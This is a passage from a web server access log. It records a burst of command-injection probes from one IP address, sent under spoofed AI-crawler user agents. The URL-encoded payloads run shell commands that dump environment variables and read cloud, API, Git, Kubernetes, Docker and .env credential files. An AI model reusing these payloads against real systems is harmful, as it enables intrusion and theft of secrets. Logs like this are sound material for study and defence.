2%3Bdone%3Becho+%22%3D%3D%3Daws_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fconfig%22+%2Froot%2F.aws%2Fconfig+%2F.aws%2Fconfig+%2Fhome%2F%2A%2F.aws%2Fconfig%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dai_echo%3D%3D%3D%22%3Becho+OPENAI_API_KEY%3D%24OPENAI_API_KEY%3Becho+ANTHROPIC_API_KEY%3D%24ANTHROPIC_API_KEY%3Becho+GOOGLE_API_KEY%3D%24GOOGLE_API_KEY%3Becho+GEMINI_API_KEY%3D%24GEMINI_API_KEY%3Becho+OPENROUTER_API_KEY%3D%24OPENROUTER_API_KEY%3Becho+DEEPSEEK_API_KEY%3D%24DEEPSEEK_API_KEY%3Becho+STRIPE_SECRET_KEY%3D%24STRIPE_SECRET_KEY%3Becho+STRIPE_API_KEY%3D%24STRIPE_API_KEY%3Becho+GITHUB_TOKEN%3D%24GITHUB_TOKEN%3Becho+GH_TOKEN%3D%24GH_TOKEN%3Becho+%22%3D%3D%3Dcloud_echo%3D%3D%3D%22%3Becho+GOOGLE_APPLICATION_CREDENTIALS%3D%24GOOGLE_APPLICATION_CREDENTIALS%3Becho+GCLOUD_PROJECT%3D%24GCLOUD_PROJECT%3Becho+GOOGLE_CLOUD_PROJECT%3D%24GOOGLE_CLOUD_PROJECT%3Becho+AZURE_CLIENT_ID%3D%24AZURE_CLIENT_ID%3Becho+AZURE_CLIENT_SECRET%3D%24AZURE_CLIENT_SECRET%3Becho+AZURE_TENANT_ID%3D%24AZURE_TENANT_ID%3Becho+%22%3D%3D%3Ddb_env%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22%5E%28POSTGRES%7CPG%7CDATABASE%7CDB_%7CMYSQL%7CREDIS%7CMONGO%7CSQLALCHEMY%7CJDBC%7CDATABASE_URL%7CREDIS_URL%7CMONGO_URL%7CMONGODB_URI%29%3D%22%7Chead+-n+60%3Becho+%22%3D%3D%3Ddockerenv%3D%3D%3D%22%3B%5B+-f+%2F.dockerenv+%5D%26%26echo+DOCKER%3D1%7C%7Cecho+DOCKER%3D0%3Becho+%22%3D%3D%3Dcgroup%3D%3D%3D%22%3Bhead+-n+5+%2Fproc%2F1%2Fcgroup+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dproc_self_env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2Fself%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+150%3Becho+%22%3D%3D%3Dproc1env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2F1%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+100%3Becho+%22%3D%3D%3Ddotenv%3D%3D%3D%22%3Bfor+f+in+.env+.env.local+.env.production+.env.development+.env.staging+.env.prod+.env.dev+.env.development.local+.env.production.local+app%2F.env+%2Fapp%2F.env+%2Fvar%2Fwww%2F.env+%2Fvar%2Fwww%2Fhtml%2F.env+backend%2F.env+api%2F.env+server%2F.env+config%2F.env%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dcompose%3D%3D%3D%22%3Bfor+f+in+docker-compose.yml+docker-compose.yaml+compose.yml+compose.yaml+%2Fapp%2Fdocker-compose.yml+%2Fapp%2Fcompose.yml%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Ddocker_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.docker%2Fconfig.json%22+%2Froot%2F.docker%2Fconfig.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+3000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Ddocker_ps%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.ID%7D%7D+%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Status%7D%7D%22+2%3E%2Fdev%2Fnull%7Chead+-n+40%3Becho+%22%3D%3D%3Ddocker_count%3D%3D%3D%22%3Becho+-n+%22running%3D%22%3Bdocker+ps+-q+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho+-n+%22+all%3D%22%3Bdocker+ps+-aq+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho%3Becho+%22%3D%3D%3Ddocker_db%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Ports%7D%7D%22+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22postgres%7Cmysql%7Cmongo%7Credis%7Cmariadb%7Cpgvector%7Csupabase%22+%7Chead+-n+20%3Becho+%22%3D%3D%3Ddocker_self%3D%3D%3D%22%3BCID%3D%24%28cat+%2Fproc%2Fself%2Fcgroup+2%3E%2Fdev%2Fnull%7Csed+-n+%22s%7C.%2A%2F%5C%28%5B0-9a-f%5D%5C%7B12%2C%5C%7D%5C%29.%2A%7C%5C1%7Cp%22%7Chead+-1%29%3B%5B+-n+%22%24CID%22+%5D%26%26docker+inspect+--format+%22name%3D%7B%7B.Name%7D%7D+image%3D%7B%7B.Config.Image%7D%7D+env%3D%7B%7Bjson+.Config.Env%7D%7D%22+%22%24CID%22+2%3E%2Fdev%2Fnull%7Chead+-c+4000%3Becho%3Becho+%22%3D%3D%3Ddocker_sock%3D%3D%3D%22%3B%5B+-S+%2Fvar%2Frun%2Fdocker.sock+%5D%26%26echo+SOCK%3D1%7C%7Cecho+SOCK%3D0%3Becho+%22%3D%3D%3Dk8s%3D%3D%3D%22%3Bfor+f+in+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dsecret_files%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.npmrc%22+%2Froot%2F.npmrc+%22%24HOME%2F.netrc%22+%2Froot%2F.netrc+%22%24HOME%2F.git-credentials%22+%2Froot%2F.git-credentials+%22%24HOME%2F.kube%2Fconfig%22+%2Froot%2F.kube%2Fconfig+%22%24HOME%2F.config%2Fgcloud%2Fapplication_default_credentials.json%22+%2Froot%2F.config%2Fgcloud%2Fapplication_default_credentials.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Drun_secrets%3D%3D%3D%22%3Bls+-la+%2Frun%2Fsecrets+2%3E%2Fdev%2Fnull%7Chead+-n+30%3Bfor+f+in+%2Frun%2Fsecrets%2F%2A+%2Fapp%2Fsecrets%2F%2A+%2Fvar%2Fsecrets%2F%2A%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+1500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dpg_port%3D%3D%3D%22%3B%28ss+-lnt+2%3E%2Fdev%2Fnull%7C%7Cnetstat+-lnt+2%3E%2Fdev%2Fnull%29%7Cgrep+-E+%22%5B%3A.%5D5432%5B%5B%3Aspace%3A%5D%5D%22+%7Chead+-n+5%7C%7Ctrue%3Becho+%22%3D%3D%3Dpg_files%3D%3D%3D%22%3Bls+%2Fvar%2Flib%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3Bls+%2Fvar%2Frun%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3B+echo+GSCAN_END+%23 HTTP/1.1" 200 13832 "-" "Mozilla/5.0 (compatible; Bytespider; +https://zhanzhang.toutiao.com/)" 34.74.70.246 - - [10/Sep/2026:03:49:45 -0700] "GET /?exec=%3B+echo+GSCAN_BEGIN%3B+echo+%22%3D%3D%3Did%3D%3D%3D%22%3Bid%3Becho+%22%3D%3D%3Dhost%3D%3D%3D%22%3Bhostname%3Becho+%22%3D%3D%3Dpwd%3D%3D%3D%22%3Bpwd%3Becho+%22%3D%3D%3Dwhoami%3D%3D%3D%22%3Bwhoami+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dprintenv%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Chead+-n+200%3Becho+%22%3D%3D%3Denv_secrets%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22AWS%7CAKIA%7CASIA%7CSECRET%7CTOKEN%7CPASSWORD%7CAPI%5B_-%5D%3FKEY%7CPRIVATE%7COPENAI%7CANTHROPIC%7CCLAUDE%7CGEMINI%7CGOOGLE%7CGCP%7CAZURE%7CDATABASE%7CPOSTGRES%7CMYSQL%7CMONGO%7CREDIS%7CSTRIPE%7CGITHUB%7CSLACK%7CTWILIO%7CSENDGRID%7CJWT%7CAUTH%7CCREDENTIAL%7CACCESS_KEY%7CBEARER%7CWEBHOOK%7CDSN%7CCONNECTION%7CBOT_TOKEN%7CSMTP%22+%7Chead+-n+150%3Becho+%22%3D%3D%3Daws_env%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-i+AWS%7Chead+-n+80%3Becho+%22%3D%3D%3Daws_echo%3D%3D%3D%22%3Becho+AWS_ACCESS_KEY_ID%3D%24AWS_ACCESS_KEY_ID%3Becho+AWS_SECRET_ACCESS_KEY%3D%24AWS_SECRET_ACCESS_KEY%3Becho+AWS_SESSION_TOKEN%3D%24AWS_SESSION_TOKEN%3Becho+AWS_DEFAULT_REGION%3D%24AWS_DEFAULT_REGION%3Becho+AWS_REGION%3D%24AWS_REGION%3Becho+AWS_BEARER_TOKEN_BEDROCK%3D%24AWS_BEARER_TOKEN_BEDROCK%3Becho+%22%3D%3D%3Daws_credentials%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fcredentials%22+%2Froot%2F.aws%2Fcredentials+%2F.aws%2Fcredentials+%2Fhome%2F%2A%2F.aws%2Fcredentials%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Daws_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fconfig%22+%2Froot%2F.aws%2Fconfig+%2F.aws%2Fconfig+%2Fhome%2F%2A%2F.aws%2Fconfig%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dai_echo%3D%3D%3D%22%3Becho+OPENAI_API_KEY%3D%24OPENAI_API_KEY%3Becho+ANTHROPIC_API_KEY%3D%24ANTHROPIC_API_KEY%3Becho+GOOGLE_API_KEY%3D%24GOOGLE_API_KEY%3Becho+GEMINI_API_KEY%3D%24GEMINI_API_KEY%3Becho+OPENROUTER_API_KEY%3D%24OPENROUTER_API_KEY%3Becho+DEEPSEEK_API_KEY%3D%24DEEPSEEK_API_KEY%3Becho+STRIPE_SECRET_KEY%3D%24STRIPE_SECRET_KEY%3Becho+STRIPE_API_KEY%3D%24STRIPE_API_KEY%3Becho+GITHUB_TOKEN%3D%24GITHUB_TOKEN%3Becho+GH_TOKEN%3D%24GH_TOKEN%3Becho+%22%3D%3D%3Dcloud_echo%3D%3D%3D%22%3Becho+GOOGLE_APPLICATION_CREDENTIALS%3D%24GOOGLE_APPLICATION_CREDENTIALS%3Becho+GCLOUD_PROJECT%3D%24GCLOUD_PROJECT%3Becho+GOOGLE_CLOUD_PROJECT%3D%24GOOGLE_CLOUD_PROJECT%3Becho+AZURE_CLIENT_ID%3D%24AZURE_CLIENT_ID%3Becho+AZURE_CLIENT_SECRET%3D%24AZURE_CLIENT_SECRET%3Becho+AZURE_TENANT_ID%3D%24AZURE_TENANT_ID%3Becho+%22%3D%3D%3Ddb_env%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22%5E%28POSTGRES%7CPG%7CDATABASE%7CDB_%7CMYSQL%7CREDIS%7CMONGO%7CSQLALCHEMY%7CJDBC%7CDATABASE_URL%7CREDIS_URL%7CMONGO_URL%7CMONGODB_URI%29%3D%22%7Chead+-n+60%3Becho+%22%3D%3D%3Ddockerenv%3D%3D%3D%22%3B%5B+-f+%2F.dockerenv+%5D%26%26echo+DOCKER%3D1%7C%7Cecho+DOCKER%3D0%3Becho+%22%3D%3D%3Dcgroup%3D%3D%3D%22%3Bhead+-n+5+%2Fproc%2F1%2Fcgroup+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dproc_self_env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2Fself%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+150%3Becho+%22%3D%3D%3Dproc1env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2F1%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+100%3Becho+%22%3D%3D%3Ddotenv%3D%3D%3D%22%3Bfor+f+in+.env+.env.local+.env.production+.env.development+.env.staging+.env.prod+.env.dev+.env.development.local+.env.production.local+app%2F.env+%2Fapp%2F.env+%2Fvar%2Fwww%2F.env+%2Fvar%2Fwww%2Fhtml%2F.env+backend%2F.env+api%2F.env+server%2F.env+config%2F.env%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dcompose%3D%3D%3D%22%3Bfor+f+in+docker-compose.yml+docker-compose.yaml+compose.yml+compose.yaml+%2Fapp%2Fdocker-compose.yml+%2Fapp%2Fcompose.yml%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Ddocker_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.docker%2Fconfig.json%22+%2Froot%2F.docker%2Fconfig.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+3000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Ddocker_ps%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.ID%7D%7D+%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Status%7D%7D%22+2%3E%2Fdev%2Fnull%7Chead+-n+40%3Becho+%22%3D%3D%3Ddocker_count%3D%3D%3D%22%3Becho+-n+%22running%3D%22%3Bdocker+ps+-q+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho+-n+%22+all%3D%22%3Bdocker+ps+-aq+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho%3Becho+%22%3D%3D%3Ddocker_db%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Ports%7D%7D%22+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22postgres%7Cmysql%7Cmongo%7Credis%7Cmariadb%7Cpgvector%7Csupabase%22+%7Chead+-n+20%3Becho+%22%3D%3D%3Ddocker_self%3D%3D%3D%22%3BCID%3D%24%28cat+%2Fproc%2Fself%2Fcgroup+2%3E%2Fdev%2Fnull%7Csed+-n+%22s%7C.%2A%2F%5C%28%5B0-9a-f%5D%5C%7B12%2C%5C%7D%5C%29.%2A%7C%5C1%7Cp%22%7Chead+-1%29%3B%5B+-n+%22%24CID%22+%5D%26%26docker+inspect+--format+%22name%3D%7B%7B.Name%7D%7D+image%3D%7B%7B.Config.Image%7D%7D+env%3D%7B%7Bjson+.Config.Env%7D%7D%22+%22%24CID%22+2%3E%2Fdev%2Fnull%7Chead+-c+4000%3Becho%3Becho+%22%3D%3D%3Ddocker_sock%3D%3D%3D%22%3B%5B+-S+%2Fvar%2Frun%2Fdocker.sock+%5D%26%26echo+SOCK%3D1%7C%7Cecho+SOCK%3D0%3Becho+%22%3D%3D%3Dk8s%3D%3D%3D%22%3Bfor+f+in+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dsecret_files%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.npmrc%22+%2Froot%2F.npmrc+%22%24HOME%2F.netrc%22+%2Froot%2F.netrc+%22%24HOME%2F.git-credentials%22+%2Froot%2F.git-credentials+%22%24HOME%2F.kube%2Fconfig%22+%2Froot%2F.kube%2Fconfig+%22%24HOME%2F.config%2Fgcloud%2Fapplication_default_credentials.json%22+%2Froot%2F.config%2Fgcloud%2Fapplication_default_credentials.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Drun_secrets%3D%3D%3D%22%3Bls+-la+%2Frun%2Fsecrets+2%3E%2Fdev%2Fnull%7Chead+-n+30%3Bfor+f+in+%2Frun%2Fsecrets%2F%2A+%2Fapp%2Fsecrets%2F%2A+%2Fvar%2Fsecrets%2F%2A%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+1500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dpg_port%3D%3D%3D%22%3B%28ss+-lnt+2%3E%2Fdev%2Fnull%7C%7Cnetstat+-lnt+2%3E%2Fdev%2Fnull%29%7Cgrep+-E+%22%5B%3A.%5D5432%5B%5B%3Aspace%3A%5D%5D%22+%7Chead+-n+5%7C%7Ctrue%3Becho+%22%3D%3D%3Dpg_files%3D%3D%3D%22%3Bls+%2Fvar%2Flib%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3Bls+%2Fvar%2Frun%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3B+echo+GSCAN_END+%23 HTTP/1.1" 200 13824 "-" "Mozilla/5.0 (compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 34.74.70.246 - - [10/Sep/2026:03:49:45 -0700] "GET /?ip=%3B+echo+GSCAN_CMDI+%23 HTTP/1.1" 200 12108 "-" "Mozilla/5.0 (Windows NT 10.0; rv:127.11) Gecko/20100101 Firefox/127.11; compatible; ChatGPT-User/1.0; +https://openai.com/bot" 34.74.70.246 - - [10/Sep/2026:03:49:45 -0700] "GET /api/ping?host=%3B+echo+GSCAN_CMDI+%23 HTTP/1.1" 200 12112 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.6263.40 Safari/537.36 Edg/114.0.6263.40; compatible; Claude-SearchBot/1.0; +https://www.anthropic.com/claude-searchbot" 34.74.70.246 - - [10/Sep/2026:03:49:45 -0700] "GET /?ping=%3B+echo+GSCAN_CMDI+%23 HTTP/1.1" 200 12106 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Bytespider; +https://zhanzhang.toutiao.com/) Chrome/118.0.8541.150 Safari/537.36 Edg/118.0.8541.150" 34.74.70.246 - - [10/Sep/2026:03:49:45 -0700] "GET /api/exec?cmd=%3B+echo+GSCAN_CMDI+%23 HTTP/1.1" 200 12109 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_4 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +https://www.anthropic.com/claude-searchbot) Chrome/126.0.786.44 Mobile Safari/537.36" 34.74.70.246 - - [10/Sep/2026:03:49:45 -0700] "GET /api/ping?host=%3B+echo+GSCAN_BEGIN%3B+echo+%22%3D%3D%3Did%3D%3D%3D%22%3Bid%3Becho+%22%3D%3D%3Dhost%3D%3D%3D%22%3Bhostname%3Becho+%22%3D%3D%3Dpwd%3D%3D%3D%22%3Bpwd%3Becho+%22%3D%3D%3Dwhoami%3D%3D%3D%22%3Bwhoami+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dprintenv%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Chead+-n+200%3Becho+%22%3D%3D%3Denv_secrets%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22AWS%7CAKIA%7CASIA%7CSECRET%7CTOKEN%7CPASSWORD%7CAPI%5B_-%5D%3FKEY%7CPRIVATE%7COPENAI%7CANTHROPIC%7CCLAUDE%7CGEMINI%7CGOOGLE%7CGCP%7CAZURE%7CDATABASE%7CPOSTGRES%7CMYSQL%7CMONGO%7CREDIS%7CSTRIPE%7CGITHUB%7CSLACK%7CTWILIO%7CSENDGRID%7CJWT%7CAUTH%7CCREDENTIAL%7CACCESS_KEY%7CBEARER%7CWEBHOOK%7CDSN%7CCONNECTION%7CBOT_TOKEN%7CSMTP%22+%7Chead+-n+150%3Becho+%22%3D%3D%3Daws_env%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-i+AWS%7Chead+-n+80%3Becho+%22%3D%3D%3Daws_echo%3D%3D%3D%22%3Becho+AWS_ACCESS_KEY_ID%3D%24AWS_ACCESS_KEY_ID%3Becho+AWS_SECRET_ACCESS_KEY%3D%24AWS_SECRET_ACCESS_KEY%3Becho+AWS_SESSION_TOKEN%3D%24AWS_SESSION_TOKEN%3Becho+AWS_DEFAULT_REGION%3D%24AWS_DEFAULT_REGION%3Becho+AWS_REGION%3D%24AWS_REGION%3Becho+AWS_BEARER_TOKEN_BEDROCK%3D%24AWS_BEARER_TOKEN_BEDROCK%3Becho+%22%3D%3D%3Daws_credentials%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fcredentials%22+%2Froot%2F.aws%2Fcredentials+%2F.aws%2Fcredentials+%2Fhome%2F%2A%2F.aws%2Fcredentials%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Daws_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fconfig%22+%2Froot%2F.aws%2Fconfig+%2F.aws%2Fconfig+%2Fhome%2F%2A%2F.aws%2Fconfig%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dai_echo%3D%3D%3D%22%3Becho+OPENAI_API_KEY%3D%24OPENAI_API_KEY%3Becho+ANTHROPIC_API_KEY%3D%24ANTHROPIC_API_KEY%3Becho+GOOGLE_API_KEY%3D%24GOOGLE_API_KEY%3Becho+GEMINI_API_KEY%3D%24GEMINI_API_KEY%3Becho+OPENROUTER_API_KEY%3D%24OPENROUTER_API_KEY%3Becho+DEEPSEEK_API_KEY%3D%24DEEPSEEK_API_KEY%3Becho+STRIPE_SECRET_KEY%3D%24STRIPE_SECRET_KEY%3Becho+STRIPE_API_KEY%3D%24STRIPE_API_KEY%3Becho+GITHUB_TOKEN%3D%24GITHUB_TOKEN%3Becho+GH_TOKEN%3D%24GH_TOKEN%3Becho+%22%3D%3D%3Dcloud_echo%3D%3D%3D%22%3Becho+GOOGLE_APPLICATION_CREDENTIALS%3D%24GOOGLE_APPLICATION_CREDENTIALS%3Becho+GCLOUD_PROJECT%3D%24GCLOUD_PROJECT%3Becho+GOOGLE_CLOUD_PROJECT%3D%24GOOGLE_CLOUD_PROJECT%3Becho+AZURE_CLIENT_ID%3D%24AZURE_CLIENT_ID%3Becho+AZURE_CLIENT_SECRET%3D%24AZURE_CLIENT_SECRET%3Becho+AZURE_TENANT_ID%3D%24AZURE_TENANT_ID%3Becho+%22%3D%3D%3Ddb_env%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22%5E%28POSTGRES%7CPG%7CDATABASE%7CDB_%7CMYSQL%7CREDIS%7CMONGO%7CSQLALCHEMY%7CJDBC%7CDATABASE_URL%7CREDIS_URL%7CMONGO_URL%7CMONGODB_URI%29%3D%22%7Chead+-n+60%3Becho+%22%3D%3D%3Ddockerenv%3D%3D%3D%22%3B%5B+-f+%2F.dockerenv+%5D%26%26echo+DOCKER%3D1%7C%7Cecho+DOCKER%3D0%3Becho+%22%3D%3D%3Dcgroup%3D%3D%3D%22%3Bhead+-n+5+%2Fproc%2F1%2Fcgroup+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dproc_self_env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2Fself%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+150%3Becho+%22%3D%3D%3Dproc1env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2F1%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+100%3Becho+%22%3D%3D%3Ddotenv%3D%3D%3D%22%3Bfor+f+in+.env+.env.local+.env.production+.env.development+.env.staging+.env.prod+.env.dev+.env.development.local+.env.production.local+app%2F.env+%2Fapp%2F.env+%2Fvar%2Fwww%2F.env+%2Fvar%2Fwww%2Fhtml%2F.env+backend%2F.env+api%2F.env+server%2F.env+config%2F.env%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dcompose%3D%3D%3D%22%3Bfor+f+in+docker-compose.yml+docker-compose.yaml+compose.yml+compose.yaml+%2Fapp%2Fdocker-compose.yml+%2Fapp%2Fcompose.yml%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Ddocker_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.docker%2Fconfig.json%22+%2Froot%2F.docker%2Fconfig.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+3000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Ddocker_ps%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.ID%7D%7D+%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Status%7D%7D%22+2%3E%2Fdev%2Fnull%7Chead+-n+40%3Becho+%22%3D%3D%3Ddocker_count%3D%3D%3D%22%3Becho+-n+%22running%3D%22%3Bdocker+ps+-q+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho+-n+%22+all%3D%22%3Bdocker+ps+-aq+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho%3Becho+%22%3D%3D%3Ddocker_db%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Ports%7D%7D%22+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22postgres%7Cmysql%7Cmongo%7Credis%7Cmariadb%7Cpgvector%7Csupabase%22+%7Chead+-n+20%3Becho+%22%3D%3D%3Ddocker_self%3D%3D%3D%22%3BCID%3D%24%28cat+%2Fproc%2Fself%2Fcgroup+2%3E%2Fdev%2Fnull%7Csed+-n+%22s%7C.%2A%2F%5C%28%5B0-9a-f%5D%5C%7B12%2C%5C%7D%5C%29.%2A%7C%5C1%7Cp%22%7Chead+-1%29%3B%5B+-n+%22%24CID%22+%5D%26%26docker+inspect+--format+%22name%3D%7B%7B.Name%7D%7D+image%3D%7B%7B.Config.Image%7D%7D+env%3D%7B%7Bjson+.Config.Env%7D%7D%22+%22%24CID%22+2%3E%2Fdev%2Fnull%7Chead+-c+4000%3Becho%3Becho+%22%3D%3D%3Ddocker_sock%3D%3D%3D%22%3B%5B+-S+%2Fvar%2Frun%2Fdocker.sock+%5D%26%26echo+SOCK%3D1%7C%7Cecho+SOCK%3D0%3Becho+%22%3D%3D%3Dk8s%3D%3D%3D%22%3Bfor+f+in+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dsecret_files%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.npmrc%22+%2Froot%2F.npmrc+%22%24HOME%2F.netrc%22+%2Froot%2F.netrc+%22%24HOME%2F.git-credentials%22+%2Froot%